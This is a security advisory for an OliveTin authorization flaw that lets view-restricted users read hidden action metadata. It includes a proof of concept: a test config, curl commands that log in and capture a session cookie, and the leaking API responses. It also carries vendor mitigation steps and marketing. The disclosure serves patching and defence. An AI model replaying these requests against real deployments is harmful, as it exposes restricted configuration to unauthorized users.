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GHSA-jf73-858c-54pg

MEDIUM

OliveTin doesn't check view permission when returning dashboards

Also known asCVE-2026-30233GO-2026-4629
Published
Mar 5, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk33th percentile+0.40%
0.00%0.31%0.61%0.92%0.0%0.0%0.0%0.4%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/OliveTin/OliveTin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.

Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.

Details

OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.

Relevant source locations:

dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)

Dashboard building logic:

for _, binding := range rr.ex.MapActionBindings {
    if binding.Action.Hidden { continue }
    action := buildAction(binding, rr) // checks IsAllowedExec only
    fieldset.Contents = append(fieldset.Contents, ...)
}

Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).

PoC

  1. Configure OliveTin with a restricted user:

Create config.yaml:

authRequireGuestsToLogin: true

authLocalUsers:
  enabled: true
  users:
    - username: admin
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: admin123
      permissions:
        view: true
        exec: true
        logs: true
    
    - username: low
      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"  # password: low123
      permissions:
        view: false   # Should hide all actions
        exec: false
        logs: false

actions:
  - title: "Secret Action"
    id: secret_action
    shell: echo "sensitive operation"
    icon: "🔒"
    description: "This action should be completely hidden"
    arguments:
      - name: target
        title: Target
        type: string
        default: production
  1. Start OliveTin with this configuration

  2. Login as low-privilege user and capture session ID:

# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"low123"}' \
  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')

echo "Low user SID: $LOW_SID"
  1. Verify the web UI respects view:false (optional but illustrative):

Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.

  1. Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'

Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [
      {
        "name": "target",
        "title": "Target",
        "type": "string",
        "default": "production"
      }
    ]
  }
}
  1. Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"bindingId":"secret_action"}' | jq '.'

Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):

{
  "action": {
    "bindingId": "secret_action",
    "title": "Secret Action",
    "icon": "🔒",
    "description": "This action should be completely hidden",
    "canExec": false,
    "arguments": [...]
  }
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/OliveTin/OliveTinall versions0.0.0-20260305082002-d7962710e7c4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/OliveTin/OliveTin to 0.0.0-20260305082002-d7962710e7c4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jf73-858c-54pg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jf73-858c-54pg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jf73-858c-54pg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. ### Details OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata res
O3 Security · Impact-Aware SCA

Is GHSA-jf73-858c-54pg in your dependencies?

O3 detects GHSA-jf73-858c-54pg across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.